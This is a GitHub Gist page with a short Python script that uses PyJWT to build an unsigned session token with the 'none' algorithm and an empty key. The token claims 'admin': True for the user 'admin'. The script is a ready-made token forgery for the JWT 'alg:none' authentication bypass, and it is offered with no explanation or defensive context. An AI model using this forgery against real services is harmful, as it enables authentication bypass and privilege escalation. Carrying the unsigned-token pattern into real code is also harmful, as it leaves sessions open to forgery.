-
-
Save konsbe/b0479287a53f01a8cf18483a237277f4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import jwt | |
def create_session(username): | |
encoded = jwt.encode({'username': username, 'admin': True}, '', algorithm='none') | |
return {"session": encoded} | |
print(create_session('admin')) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment